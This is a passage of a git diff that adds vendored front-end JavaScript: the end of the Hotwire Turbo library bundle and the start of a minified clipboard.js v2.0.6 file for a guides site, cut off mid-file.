+            const container = findClosestRecursively(element, "[data-turbo]");
+            const withinFrame = findClosestRecursively(element, "turbo-frame");
+            if (this.drive || withinFrame) {
+                if (container) {
+                    return container.getAttribute("data-turbo") != "false";
+                }
+                else {
+                    return true;
+                }
+            }
+            else {
+                if (container) {
+                    return container.getAttribute("data-turbo") == "true";
+                }
+                else {
+                    return false;
+                }
+            }
+        }
+        getActionForLink(link) {
+            return getVisitAction(link) || "advance";
+        }
+        get snapshot() {
+            return this.view.snapshot;
+        }
+    }
+    function extendURLWithDeprecatedProperties(url) {
+        Object.defineProperties(url, deprecatedLocationPropertyDescriptors);
+    }
+    const deprecatedLocationPropertyDescriptors = {
+        absoluteURL: {
+            get() {
+                return this.toString();
+            },
+        },
+    };
+
+    class Cache {
+        constructor(session) {
+            this.session = session;
+        }
+        clear() {
+            this.session.clearCache();
+        }
+        resetCacheControl() {
+            this.setCacheControl("");
+        }
+        exemptPageFromCache() {
+            this.setCacheControl("no-cache");
+        }
+        exemptPageFromPreview() {
+            this.setCacheControl("no-preview");
+        }
+        setCacheControl(value) {
+            setMetaContent("turbo-cache-control", value);
+        }
+    }
+
+    const StreamActions = {
+        after() {
+            this.targetElements.forEach((e) => { var _a; return (_a = e.parentElement) === null || _a === void 0 ? void 0 : _a.insertBefore(this.templateContent, e.nextSibling); });
+        },
+        append() {
+            this.removeDuplicateTargetChildren();
+            this.targetElements.forEach((e) => e.append(this.templateContent));
+        },
+        before() {
+            this.targetElements.forEach((e) => { var _a; return (_a = e.parentElement) === null || _a === void 0 ? void 0 : _a.insertBefore(this.templateContent, e); });
+        },
+        prepend() {
+            this.removeDuplicateTargetChildren();
+            this.targetElements.forEach((e) => e.prepend(this.templateContent));
+        },
+        remove() {
+            this.targetElements.forEach((e) => e.remove());
+        },
+        replace() {
+            this.targetElements.forEach((e) => e.replaceWith(this.templateContent));
+        },
+        update() {
+            this.targetElements.forEach((targetElement) => {
+                targetElement.innerHTML = "";
+                targetElement.append(this.templateContent);
+            });
+        },
+    };
+
+    const session = new Session();
+    const cache = new Cache(session);
+    const { navigator: navigator$1 } = session;
+    function start() {
+        session.start();
+    }
+    function registerAdapter(adapter) {
+        session.registerAdapter(adapter);
+    }
+    function visit(location, options) {
+        session.visit(location, options);
+    }
+    function connectStreamSource(source) {
+        session.connectStreamSource(source);
+    }
+    function disconnectStreamSource(source) {
+        session.disconnectStreamSource(source);
+    }
+    function renderStreamMessage(message) {
+        session.renderStreamMessage(message);
+    }
+    function clearCache() {
+        console.warn("Please replace `Turbo.clearCache()` with `Turbo.cache.clear()`. The top-level function is deprecated and will be removed in a future version of Turbo.`");
+        session.clearCache();
+    }
+    function setProgressBarDelay(delay) {
+        session.setProgressBarDelay(delay);
+    }
+    function setConfirmMethod(confirmMethod) {
+        FormSubmission.confirmMethod = confirmMethod;
+    }
+    function setFormMode(mode) {
+        session.setFormMode(mode);
+    }
+
+    var Turbo = /*#__PURE__*/Object.freeze({
+        __proto__: null,
+        navigator: navigator$1,
+        session: session,
+        cache: cache,
+        PageRenderer: PageRenderer,
+        PageSnapshot: PageSnapshot,
+        FrameRenderer: FrameRenderer,
+        start: start,
+        registerAdapter: registerAdapter,
+        visit: visit,
+        connectStreamSource: connectStreamSource,
+        disconnectStreamSource: disconnectStreamSource,
+        renderStreamMessage: renderStreamMessage,
+        clearCache: clearCache,
+        setProgressBarDelay: setProgressBarDelay,
+        setConfirmMethod: setConfirmMethod,
+        setFormMode: setFormMode,
+        StreamActions: StreamActions
+    });
+
+    class FrameController {
+        constructor(element) {
+            this.fetchResponseLoaded = (_fetchResponse) => { };
+            this.currentFetchRequest = null;
+            this.resolveVisitPromise = () => { };
+            this.connected = false;
+            this.hasBeenLoaded = false;
+            this.ignoredAttributes = new Set();
+            this.action = null;
+            this.visitCachedSnapshot = ({ element }) => {
+                const frame = element.querySelector("#" + this.element.id);
+                if (frame && this.previousFrameElement) {
+                    frame.replaceChildren(...this.previousFrameElement.children);
+                }
+                delete this.previousFrameElement;
+            };
+            this.element = element;
+            this.view = new FrameView(this, this.element);
+            this.appearanceObserver = new AppearanceObserver(this, this.element);
+            this.formLinkClickObserver = new FormLinkClickObserver(this, this.element);
+            this.linkInterceptor = new LinkInterceptor(this, this.element);
+            this.restorationIdentifier = uuid();
+            this.formSubmitObserver = new FormSubmitObserver(this, this.element);
+        }
+        connect() {
+            if (!this.connected) {
+                this.connected = true;
+                if (this.loadingStyle == exports.FrameLoadingStyle.lazy) {
+                    this.appearanceObserver.start();
+                }
+                else {
+                    this.loadSourceURL();
+                }
+                this.formLinkClickObserver.start();
+                this.linkInterceptor.start();
+                this.formSubmitObserver.start();
+            }
+        }
+        disconnect() {
+            if (this.connected) {
+                this.connected = false;
+                this.appearanceObserver.stop();
+                this.formLinkClickObserver.stop();
+                this.linkInterceptor.stop();
+                this.formSubmitObserver.stop();
+            }
+        }
+        disabledChanged() {
+            if (this.loadingStyle == exports.FrameLoadingStyle.eager) {
+                this.loadSourceURL();
+            }
+        }
+        sourceURLChanged() {
+            if (this.isIgnoringChangesTo("src"))
+                return;
+            if (this.element.isConnected) {
+                this.complete = false;
+            }
+            if (this.loadingStyle == exports.FrameLoadingStyle.eager || this.hasBeenLoaded) {
+                this.loadSourceURL();
+            }
+        }
+        sourceURLReloaded() {
+            const { src } = this.element;
+            this.ignoringChangesToAttribute("complete", () => {
+                this.element.removeAttribute("complete");
+            });
+            this.element.src = null;
+            this.element.src = src;
+            return this.element.loaded;
+        }
+        completeChanged() {
+            if (this.isIgnoringChangesTo("complete"))
+                return;
+            this.loadSourceURL();
+        }
+        loadingStyleChanged() {
+            if (this.loadingStyle == exports.FrameLoadingStyle.lazy) {
+                this.appearanceObserver.start();
+            }
+            else {
+                this.appearanceObserver.stop();
+                this.loadSourceURL();
+            }
+        }
+        async loadSourceURL() {
+            if (this.enabled && this.isActive && !this.complete && this.sourceURL) {
+                this.element.loaded = this.visit(expandURL(this.sourceURL));
+                this.appearanceObserver.stop();
+                await this.element.loaded;
+                this.hasBeenLoaded = true;
+            }
+        }
+        async loadResponse(fetchResponse) {
+            if (fetchResponse.redirected || (fetchResponse.succeeded && fetchResponse.isHTML)) {
+                this.sourceURL = fetchResponse.response.url;
+            }
+            try {
+                const html = await fetchResponse.responseHTML;
+                if (html) {
+                    const { body } = parseHTMLDocument(html);
+                    const newFrameElement = await this.extractForeignFrameElement(body);
+                    if (newFrameElement) {
+                        const snapshot = new Snapshot(newFrameElement);
+                        const renderer = new FrameRenderer(this, this.view.snapshot, snapshot, FrameRenderer.renderElement, false, false);
+                        if (this.view.renderPromise)
+                            await this.view.renderPromise;
+                        this.changeHistory();
+                        await this.view.render(renderer);
+                        this.complete = true;
+                        session.frameRendered(fetchResponse, this.element);
+                        session.frameLoaded(this.element);
+                        this.fetchResponseLoaded(fetchResponse);
+                    }
+                    else if (this.willHandleFrameMissingFromResponse(fetchResponse)) {
+                        console.warn(`A matching frame for #${this.element.id} was missing from the response, transforming into full-page Visit.`);
+                        this.visitResponse(fetchResponse.response);
+                    }
+                }
+            }
+            catch (error) {
+                console.error(error);
+                this.view.invalidate();
+            }
+            finally {
+                this.fetchResponseLoaded = () => { };
+            }
+        }
+        elementAppearedInViewport(element) {
+            this.proposeVisitIfNavigatedWithAction(element, element);
+            this.loadSourceURL();
+        }
+        willSubmitFormLinkToLocation(link) {
+            return this.shouldInterceptNavigation(link);
+        }
+        submittedFormLinkToLocation(link, _location, form) {
+            const frame = this.findFrameElement(link);
+            if (frame)
+                form.setAttribute("data-turbo-frame", frame.id);
+        }
+        shouldInterceptLinkClick(element, _location, _event) {
+            return this.shouldInterceptNavigation(element);
+        }
+        linkClickIntercepted(element, location) {
+            this.navigateFrame(element, location);
+        }
+        willSubmitForm(element, submitter) {
+            return element.closest("turbo-frame") == this.element && this.shouldInterceptNavigation(element, submitter);
+        }
+        formSubmitted(element, submitter) {
+            if (this.formSubmission) {
+                this.formSubmission.stop();
+            }
+            this.formSubmission = new FormSubmission(this, element, submitter);
+            const { fetchRequest } = this.formSubmission;
+            this.prepareRequest(fetchRequest);
+            this.formSubmission.start();
+        }
+        prepareRequest(request) {
+            var _a;
+            request.headers["Turbo-Frame"] = this.id;
+            if ((_a = this.currentNavigationElement) === null || _a === void 0 ? void 0 : _a.hasAttribute("data-turbo-stream")) {
+                request.acceptResponseType(StreamMessage.contentType);
+            }
+        }
+        requestStarted(_request) {
+            markAsBusy(this.element);
+        }
+        requestPreventedHandlingResponse(_request, _response) {
+            this.resolveVisitPromise();
+        }
+        async requestSucceededWithResponse(request, response) {
+            await this.loadResponse(response);
+            this.resolveVisitPromise();
+        }
+        async requestFailedWithResponse(request, response) {
+            console.error(response);
+            await this.loadResponse(response);
+            this.resolveVisitPromise();
+        }
+        requestErrored(request, error) {
+            console.error(error);
+            this.resolveVisitPromise();
+        }
+        requestFinished(_request) {
+            clearBusyState(this.element);
+        }
+        formSubmissionStarted({ formElement }) {
+            markAsBusy(formElement, this.findFrameElement(formElement));
+        }
+        formSubmissionSucceededWithResponse(formSubmission, response) {
+            const frame = this.findFrameElement(formSubmission.formElement, formSubmission.submitter);
+            frame.delegate.proposeVisitIfNavigatedWithAction(frame, formSubmission.formElement, formSubmission.submitter);
+            frame.delegate.loadResponse(response);
+        }
+        formSubmissionFailedWithResponse(formSubmission, fetchResponse) {
+            this.element.delegate.loadResponse(fetchResponse);
+        }
+        formSubmissionErrored(formSubmission, error) {
+            console.error(error);
+        }
+        formSubmissionFinished({ formElement }) {
+            clearBusyState(formElement, this.findFrameElement(formElement));
+        }
+        allowsImmediateRender({ element: newFrame }, options) {
+            const event = dispatch("turbo:before-frame-render", {
+                target: this.element,
+                detail: Object.assign({ newFrame }, options),
+                cancelable: true,
+            });
+            const { defaultPrevented, detail: { render }, } = event;
+            if (this.view.renderer && render) {
+                this.view.renderer.renderElement = render;
+            }
+            return !defaultPrevented;
+        }
+        viewRenderedSnapshot(_snapshot, _isPreview) { }
+        preloadOnLoadLinksForView(element) {
+            session.preloadOnLoadLinksForView(element);
+        }
+        viewInvalidated() { }
+        willRenderFrame(currentElement, _newElement) {
+            this.previousFrameElement = currentElement.cloneNode(true);
+        }
+        async visit(url) {
+            var _a;
+            const request = new FetchRequest(this, FetchMethod.get, url, new URLSearchParams(), this.element);
+            (_a = this.currentFetchRequest) === null || _a === void 0 ? void 0 : _a.cancel();
+            this.currentFetchRequest = request;
+            return new Promise((resolve) => {
+                this.resolveVisitPromise = () => {
+                    this.resolveVisitPromise = () => { };
+                    this.currentFetchRequest = null;
+                    resolve();
+                };
+                request.perform();
+            });
+        }
+        navigateFrame(element, url, submitter) {
+            const frame = this.findFrameElement(element, submitter);
+            frame.delegate.proposeVisitIfNavigatedWithAction(frame, element, submitter);
+            this.withCurrentNavigationElement(element, () => {
+                frame.src = url;
+            });
+        }
+        proposeVisitIfNavigatedWithAction(frame, element, submitter) {
+            this.action = getVisitAction(submitter, element, frame);
+            if (this.action) {
+                const pageSnapshot = PageSnapshot.fromElement(frame).clone();
+                const { visitCachedSnapshot } = frame.delegate;
+                frame.delegate.fetchResponseLoaded = (fetchResponse) => {
+                    if (frame.src) {
+                        const { statusCode, redirected } = fetchResponse;
+                        const responseHTML = frame.ownerDocument.documentElement.outerHTML;
+                        const response = { statusCode, redirected, responseHTML };
+                        const options = {
+                            response,
+                            visitCachedSnapshot,
+                            willRender: false,
+                            updateHistory: false,
+                            restorationIdentifier: this.restorationIdentifier,
+                            snapshot: pageSnapshot,
+                        };
+                        if (this.action)
+                            options.action = this.action;
+                        session.visit(frame.src, options);
+                    }
+                };
+            }
+        }
+        changeHistory() {
+            if (this.action) {
+                const method = getHistoryMethodForAction(this.action);
+                session.history.update(method, expandURL(this.element.src || ""), this.restorationIdentifier);
+            }
+        }
+        willHandleFrameMissingFromResponse(fetchResponse) {
+            this.element.setAttribute("complete", "");
+            const response = fetchResponse.response;
+            const visit = async (url, options = {}) => {
+                if (url instanceof Response) {
+                    this.visitResponse(url);
+                }
+                else {
+                    session.visit(url, options);
+                }
+            };
+            const event = dispatch("turbo:frame-missing", {
+                target: this.element,
+                detail: { response, visit },
+                cancelable: true,
+            });
+            return !event.defaultPrevented;
+        }
+        async visitResponse(response) {
+            const wrapped = new FetchResponse(response);
+            const responseHTML = await wrapped.responseHTML;
+            const { location, redirected, statusCode } = wrapped;
+            return session.visit(location, { response: { redirected, statusCode, responseHTML } });
+        }
+        findFrameElement(element, submitter) {
+            var _a;
+            const id = getAttribute("data-turbo-frame", submitter, element) || this.element.getAttribute("target");
+            return (_a = getFrameElementById(id)) !== null && _a !== void 0 ? _a : this.element;
+        }
+        async extractForeignFrameElement(container) {
+            let element;
+            const id = CSS.escape(this.id);
+            try {
+                element = activateElement(container.querySelector(`turbo-frame#${id}`), this.sourceURL);
+                if (element) {
+                    return element;
+                }
+                element = activateElement(container.querySelector(`turbo-frame[src][recurse~=${id}]`), this.sourceURL);
+                if (element) {
+                    await element.loaded;
+                    return await this.extractForeignFrameElement(element);
+                }
+            }
+            catch (error) {
+                console.error(error);
+                return new FrameElement();
+            }
+            return null;
+        }
+        formActionIsVisitable(form, submitter) {
+            const action = getAction(form, submitter);
+            return locationIsVisitable(expandURL(action), this.rootLocation);
+        }
+        shouldInterceptNavigation(element, submitter) {
+            const id = getAttribute("data-turbo-frame", submitter, element) || this.element.getAttribute("target");
+            if (element instanceof HTMLFormElement && !this.formActionIsVisitable(element, submitter)) {
+                return false;
+            }
+            if (!this.enabled || id == "_top") {
+                return false;
+            }
+            if (id) {
+                const frameElement = getFrameElementById(id);
+                if (frameElement) {
+                    return !frameElement.disabled;
+                }
+            }
+            if (!session.elementIsNavigatable(element)) {
+                return false;
+            }
+            if (submitter && !session.elementIsNavigatable(submitter)) {
+                return false;
+            }
+            return true;
+        }
+        get id() {
+            return this.element.id;
+        }
+        get enabled() {
+            return !this.element.disabled;
+        }
+        get sourceURL() {
+            if (this.element.src) {
+                return this.element.src;
+            }
+        }
+        set sourceURL(sourceURL) {
+            this.ignoringChangesToAttribute("src", () => {
+                this.element.src = sourceURL !== null && sourceURL !== void 0 ? sourceURL : null;
+            });
+        }
+        get loadingStyle() {
+            return this.element.loading;
+        }
+        get isLoading() {
+            return this.formSubmission !== undefined || this.resolveVisitPromise() !== undefined;
+        }
+        get complete() {
+            return this.element.hasAttribute("complete");
+        }
+        set complete(value) {
+            this.ignoringChangesToAttribute("complete", () => {
+                if (value) {
+                    this.element.setAttribute("complete", "");
+                }
+                else {
+                    this.element.removeAttribute("complete");
+                }
+            });
+        }
+        get isActive() {
+            return this.element.isActive && this.connected;
+        }
+        get rootLocation() {
+            var _a;
+            const meta = this.element.ownerDocument.querySelector(`meta[name="turbo-root"]`);
+            const root = (_a = meta === null || meta === void 0 ? void 0 : meta.content) !== null && _a !== void 0 ? _a : "/";
+            return expandURL(root);
+        }
+        isIgnoringChangesTo(attributeName) {
+            return this.ignoredAttributes.has(attributeName);
+        }
+        ignoringChangesToAttribute(attributeName, callback) {
+            this.ignoredAttributes.add(attributeName);
+            callback();
+            this.ignoredAttributes.delete(attributeName);
+        }
+        withCurrentNavigationElement(element, callback) {
+            this.currentNavigationElement = element;
+            callback();
+            delete this.currentNavigationElement;
+        }
+    }
+    function getFrameElementById(id) {
+        if (id != null) {
+            const element = document.getElementById(id);
+            if (element instanceof FrameElement) {
+                return element;
+            }
+        }
+    }
+    function activateElement(element, currentURL) {
+        if (element) {
+            const src = element.getAttribute("src");
+            if (src != null && currentURL != null && urlsAreEqual(src, currentURL)) {
+                throw new Error(`Matching <turbo-frame id="${element.id}"> element has a source URL which references itself`);
+            }
+            if (element.ownerDocument !== document) {
+                element = document.importNode(element, true);
+            }
+            if (element instanceof FrameElement) {
+                element.connectedCallback();
+                element.disconnectedCallback();
+                return element;
+            }
+        }
+    }
+
+    class StreamElement extends HTMLElement {
+        static async renderElement(newElement) {
+            await newElement.performAction();
+        }
+        async connectedCallback() {
+            try {
+                await this.render();
+            }
+            catch (error) {
+                console.error(error);
+            }
+            finally {
+                this.disconnect();
+            }
+        }
+        async render() {
+            var _a;
+            return ((_a = this.renderPromise) !== null && _a !== void 0 ? _a : (this.renderPromise = (async () => {
+                const event = this.beforeRenderEvent;
+                if (this.dispatchEvent(event)) {
+                    await nextAnimationFrame();
+                    await event.detail.render(this);
+                }
+            })()));
+        }
+        disconnect() {
+            try {
+                this.remove();
+            }
+            catch (_a) { }
+        }
+        removeDuplicateTargetChildren() {
+            this.duplicateChildren.forEach((c) => c.remove());
+        }
+        get duplicateChildren() {
+            var _a;
+            const existingChildren = this.targetElements.flatMap((e) => [...e.children]).filter((c) => !!c.id);
+            const newChildrenIds = [...(((_a = this.templateContent) === null || _a === void 0 ? void 0 : _a.children) || [])].filter((c) => !!c.id).map((c) => c.id);
+            return existingChildren.filter((c) => newChildrenIds.includes(c.id));
+        }
+        get performAction() {
+            if (this.action) {
+                const actionFunction = StreamActions[this.action];
+                if (actionFunction) {
+                    return actionFunction;
+                }
+                this.raise("unknown action");
+            }
+            this.raise("action attribute is missing");
+        }
+        get targetElements() {
+            if (this.target) {
+                return this.targetElementsById;
+            }
+            else if (this.targets) {
+                return this.targetElementsByQuery;
+            }
+            else {
+                this.raise("target or targets attribute is missing");
+            }
+        }
+        get templateContent() {
+            return this.templateElement.content.cloneNode(true);
+        }
+        get templateElement() {
+            if (this.firstElementChild === null) {
+                const template = this.ownerDocument.createElement("template");
+                this.appendChild(template);
+                return template;
+            }
+            else if (this.firstElementChild instanceof HTMLTemplateElement) {
+                return this.firstElementChild;
+            }
+            this.raise("first child element must be a <template> element");
+        }
+        get action() {
+            return this.getAttribute("action");
+        }
+        get target() {
+            return this.getAttribute("target");
+        }
+        get targets() {
+            return this.getAttribute("targets");
+        }
+        raise(message) {
+            throw new Error(`${this.description}: ${message}`);
+        }
+        get description() {
+            var _a, _b;
+            return (_b = ((_a = this.outerHTML.match(/<[^>]+>/)) !== null && _a !== void 0 ? _a : [])[0]) !== null && _b !== void 0 ? _b : "<turbo-stream>";
+        }
+        get beforeRenderEvent() {
+            return new CustomEvent("turbo:before-stream-render", {
+                bubbles: true,
+                cancelable: true,
+                detail: { newStream: this, render: StreamElement.renderElement },
+            });
+        }
+        get targetElementsById() {
+            var _a;
+            const element = (_a = this.ownerDocument) === null || _a === void 0 ? void 0 : _a.getElementById(this.target);
+            if (element !== null) {
+                return [element];
+            }
+            else {
+                return [];
+            }
+        }
+        get targetElementsByQuery() {
+            var _a;
+            const elements = (_a = this.ownerDocument) === null || _a === void 0 ? void 0 : _a.querySelectorAll(this.targets);
+            if (elements.length !== 0) {
+                return Array.prototype.slice.call(elements);
+            }
+            else {
+                return [];
+            }
+        }
+    }
+
+    class StreamSourceElement extends HTMLElement {
+        constructor() {
+            super(...arguments);
+            this.streamSource = null;
+        }
+        connectedCallback() {
+            this.streamSource = this.src.match(/^ws{1,2}:/) ? new WebSocket(this.src) : new EventSource(this.src);
+            connectStreamSource(this.streamSource);
+        }
+        disconnectedCallback() {
+            if (this.streamSource) {
+                disconnectStreamSource(this.streamSource);
+            }
+        }
+        get src() {
+            return this.getAttribute("src") || "";
+        }
+    }
+
+    FrameElement.delegateConstructor = FrameController;
+    if (customElements.get("turbo-frame") === undefined) {
+        customElements.define("turbo-frame", FrameElement);
+    }
+    if (customElements.get("turbo-stream") === undefined) {
+        customElements.define("turbo-stream", StreamElement);
+    }
+    if (customElements.get("turbo-stream-source") === undefined) {
+        customElements.define("turbo-stream-source", StreamSourceElement);
+    }
+
+    (() => {
+        let element = document.currentScript;
+        if (!element)
+            return;
+        if (element.hasAttribute("data-turbo-suppress-warning"))
+            return;
+        element = element.parentElement;
+        while (element) {
+            if (element == document.body) {
+                return console.warn(unindent `
+        You are loading Turbo from a <script> element inside the <body> element. This is probably not what you meant to do!
+
+        Load your application’s JavaScript bundle inside the <head> element instead. <script> elements in <body> are evaluated with each page change.
+
+        For more information, see: https://turbo.hotwired.dev/handbook/building#working-with-script-elements
+
+        ——
+        Suppress this warning by adding a "data-turbo-suppress-warning" attribute to: %s
+      `, element.outerHTML);
+            }
+            element = element.parentElement;
+        }
+    })();
+
+    window.Turbo = Turbo;
+    start();
+
+    exports.FrameElement = FrameElement;
+    exports.FrameRenderer = FrameRenderer;
+    exports.PageRenderer = PageRenderer;
+    exports.PageSnapshot = PageSnapshot;
+    exports.StreamActions = StreamActions;
+    exports.StreamElement = StreamElement;
+    exports.StreamSourceElement = StreamSourceElement;
+    exports.cache = cache;
+    exports.clearCache = clearCache;
+    exports.connectStreamSource = connectStreamSource;
+    exports.disconnectStreamSource = disconnectStreamSource;
+    exports.navigator = navigator$1;
+    exports.registerAdapter = registerAdapter;
+    exports.renderStreamMessage = renderStreamMessage;
+    exports.session = session;
+    exports.setConfirmMethod = setConfirmMethod;
+    exports.setFormMode = setFormMode;
+    exports.setProgressBarDelay = setProgressBarDelay;
+    exports.start = start;
+    exports.visit = visit;
+
+    Object.defineProperty(exports, '__esModule', { value: true });
+
+}));
diff --git a/guides/assets/javascripts/clipboard.js b/guides/assets/javascripts/clipboard.js
new file mode 100644
index 0000000000000..b9ed143b3e156
--- /dev/null
+++ b/guides/assets/javascripts/clipboard.js
@@ -0,0 +1,7 @@
+/*!
+ * clipboard.js v2.0.6
+ * https://clipboardjs.com/
+ *
+ * Licensed MIT © Zeno Rocha
+ */
+!function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.ClipboardJS=e():t.ClipboardJS=e()}(this,function(){return o={},r.m=n=[function(t,e){t.exports=function(t){var e;if("SELECT"===t.nodeName)t.focus(),e=t.value;else if("INPUT"===t.nodeName||"TEXTAREA"===t.nodeName){var n=t.hasAttribute("readonly");n||t.setAttribute("readonly",""),t.select(),t.setSelectionRange(0,t.value.length),n||t.removeAttribute("readonly"),e=t.value}else{t.hasAttribute("contenteditable")&&t.focus();var o=window.getSelection(),r=document.createRange();r.selectNodeContents(t),o.removeAllRanges(),o.addRange(r),e=o.toString()}return e}},function(t,e){function n(){}n.prototype={on:function(t,e,n){var o=this.e||(this.e={});return(o[t]||(o[t]=[])).push({fn:e,ctx:n}),this},once:function(t,e,n){var o=this;function r(){o.off(t,r),e.apply(n,arguments)}return r._=e,this.on(t,r,n)},emit:function(t){for(var e=[].slice.call(arguments,1),n=((this.e||(this.e={}))[t]||[]).slice(),o=0,r=n.length;o<r;o++)n[o].fn.apply(n[o].ctx,e);return this},off:function(t,e){var n=this.e||(this.e={}),o=n[t],r=[];if(o&&e)for(var i=0,a=o.length;i<a;i++)o[i].fn!==e&&o[i].fn._!==e&&r.push(o[i]);return r.length?n[t]=r:delete n[t],this}},t.exports=n,t.exports.TinyEmitter=n},function(t,e,n){var d=n(3),h=n(4);t.exports=function(t,e,n){if(!t&&!e&&!n)throw new Error("Missing required arguments");if(!d.string(e))throw new TypeError("Second argument must be a String");if(!d.fn(n))throw new TypeError("Third argument must be a Function");if(d.node(t))return s=e,f=n,(u=t).addEventListener(s,f),{destroy:function(){u.removeEventListener(s,f)}};if(d.nodeList(t))return a=t,c=e,l=n,Array.prototype.forEach.call(a,function(t){t.addEventListener(c,l)}),{destroy:function(){Array.prototype.forEach.call(a,function(t){t.removeEventListener(c,l)})}};if(d.string(t))return o=t,r=e,i=n,h(document.body,o,r,i);throw new TypeError("First argument must be a String, HTMLElement, HTMLCollection, or NodeList");var o,r,i,a,c,l,u,s,f}},function(t,n){n.node=function(t){return void 0!==t&&t instanceof HTMLElement&&1===t.nodeType},n.nodeList=function(t){var e=Object.prototype.toString.call(t);return void 0!==t&&("[object NodeList]"===e||"[object HTMLCollection]"===e)&&"length"in t&&(0===t.length||n.node(t[0]))},n.string=function(t){return"string"==typeof t||t instanceof String},n.fn=function(t){return"[object Function]"===Object.prototype.toString.call(t)}},function(t,e,n){var a=n(5);function i(t,e,n,o,r){var i=function(e,n,t,o){return function(t){t.delegateTarget=a(t.target,n),t.delegateTarget&&o.call(e,t)}}.apply(this,arguments);return t.addEventListener(n,i,r),{destroy:function(){t.removeEventListener(n,i,r)}}}t.exports=function(t,e,n,o,r){return"function"==typeof t.addEventListener?i.apply(null,arguments):"function"==typeof n?i.bind(null,document).apply(null,arguments):("string"==typeof t&&(t=document.querySelectorAll(t)),Array.prototype.map.call(t,function(t){return i(t,e,n,o,r)}))}},function(t,e){if("undefined"!=typeof Element&&!Element.prototype.matches){var n=Element.prototype;n.matches=n.matchesSelector||n.mozMatchesSelector||n.msMatchesSelector||n.oMatchesSelector||n.webkitMatchesSelector}t.exports=function(t,e){for(;t&&9!==t.nodeType;){if("function"==typeof t.matches&&t.matches(e))return t;t=t.parentNode}}},function(t,e,n){"use strict";n.r(e);var o=n(0),r=n.n(o),i="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t};function a(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}function c(t){!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,c),this.resolveOptions(t),this.initSelection()}var l=(function(t,e,n){return e&&a(t.prototype,e),n&&a(t,n),t}(c,[{key:"resolveOptions",value:function(t){var e=0<arguments.length&&void 0!==t?t:{};this.action=e.action,this.container=e.container,this.emitter=e.emitter,this.target=e.target,this.text=e.text,this.trigger=e.trigger,this.selectedText=""}},{key:"initSelection",value:function(){this.text?this.selectFake():this.target&&this.selectTarget()}},{key:"selectFake",value:function(){var t=this,e="rtl"==document.documentElement.getAttribute("dir");this.removeFake(),this.fakeHandlerCallback=function(){return t.removeFake()},this.fakeHandler=this.container.addEventListener("click",this.fakeHandlerCallback)||!0,this.fakeElem=document.createElement("textarea"),this.fakeElem.style.fontSize="12pt",this.fakeElem.style.border="0",this.fakeElem.style.padding="0",this.fakeElem.style.margin="0",this.fakeElem.style.position="absolute",this.fakeElem.style[e?"right":"left"]="-9999px";var n=window.pageYOffset||document.documentElement.scrollTop;this.fakeElem.style.top=n+"px",this.fakeElem.setAttribute("readonly",""),this.fakeElem.value=this.text,this.container.appendChild(this.fakeElem),this.selectedText=r()(this.fakeElem),this.copyText()}},{key:"removeFake",value:function(){this.fakeHandler&&(this.container.removeEventListener("click",this.fakeHandlerCallback),this.fakeHandler=null,this.fakeHandlerCallback=null),this.fakeElem&&(this.container.removeChild(this.fakeElem),this.fakeElem=null)}},{key:"selectTarget",value:function(){this.selectedText=r()(this.target),this.copyText()}},{key:"copyText",value:function(){var e=void 0;try{e=document.execCommand(this.action)}catch(t){e=!1}this.handleResult(e)}},{key:"handleResult",value:function(t){this.emitter.emit(t?"success":"error",{action:this.action,text:this.selectedText,trigger:this.trigger,clearSelection:this.clearSelection.bind(this)})}},{key:"clearSelection",value:function(){this.trigger&&this.trigger.focus(),document.activeElement.blur(),window.getSelection().removeAllRanges()}},{key:"destroy",value:function(){this.removeFake()}},{key:"action",set:function(t){var e=0<arguments.length&&void 0!==t?t:"copy";if(this._action=e,"copy"!==this._action&&"cut"!==this._action)throw new Error('Invalid "action" value, use either "copy" or "cut"')},get:function(){return this._action}},{key:"target",set:function(t){if(void 0!==t){if(!t||"object"!==(void 0===t?"undefined":i(t))||1!==t.nodeType)throw new Error('Invalid "target" value, use a valid Element');if("copy"===this.action&&t.hasAttribute("disabled"))throw new Error('Invalid "target" attribute. Please use "readonly" instead of "disabled" attribute');if("cut"===this.action&&(t.hasAttribute("readonly")||t.hasAttribute("disabled")))throw new Error('Invalid "target" attribute. You can\'t cut text from elements with "readonly" or "disabled" attributes');this._target=t}},get:function(){return this._target}}]),c),u=n(1),s=n.n(u),f=n(2),d=n.n(f),h="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},p=function(t,e,n){return e&&y(t.prototype,e),n&&y(t,n),t};function y(t,e){for(var n=0;n<e.length;n++){var o=e[n];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,o.key,o)}}var m=(function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}(v,s.a),p(v,[{key:"resolveOptions",value:function(t){var e=0<arguments.length&&void 0!==t?t:{};this.action="function"==typeof e.action?e.action:this.defaultAction,this.target="function"==typeof e.target?e.target:this.defaultTarget,this.text="function"==typeof e.text?e.text:this.defaultText,this.container="object"===h(e.container)?e.container:document.body}},{key:"listenClick",value:function(t){var e=this;this.listener=d()(t,"click",function(t){return e.onClick(t)})}},{key:"onClick",value:function(t){var e=t.delegateTarget||t.currentTarget;this.clipboardAction&&(this.clipboardAction=null),this.clipboardAction=new l({action:this.action(e),target:this.target(e),text:this.text(e),container:this.container,trigger:e,emitter:this})}},{key:"defaultAction",value:function(t){return b("action",t)}},{key:"defaultTarget",value:function(t){var e=b("target",t);if(e)return document.querySelector(e)}},{key:"defaultText",value:function(t){return b("text",t)}},{key:"destroy",value:function(){this.listener.destroy(),this.clipboardAction&&(this.clipboardAction.destroy(),this.clipboardAction=null)}}],[{key:"isSupported",value:function(t){var e=0<arguments.length&&void 0!==t?t:["copy","cut"],n="string"==typeof e?[e]:e,o=!!document.queryCommandSupported;return 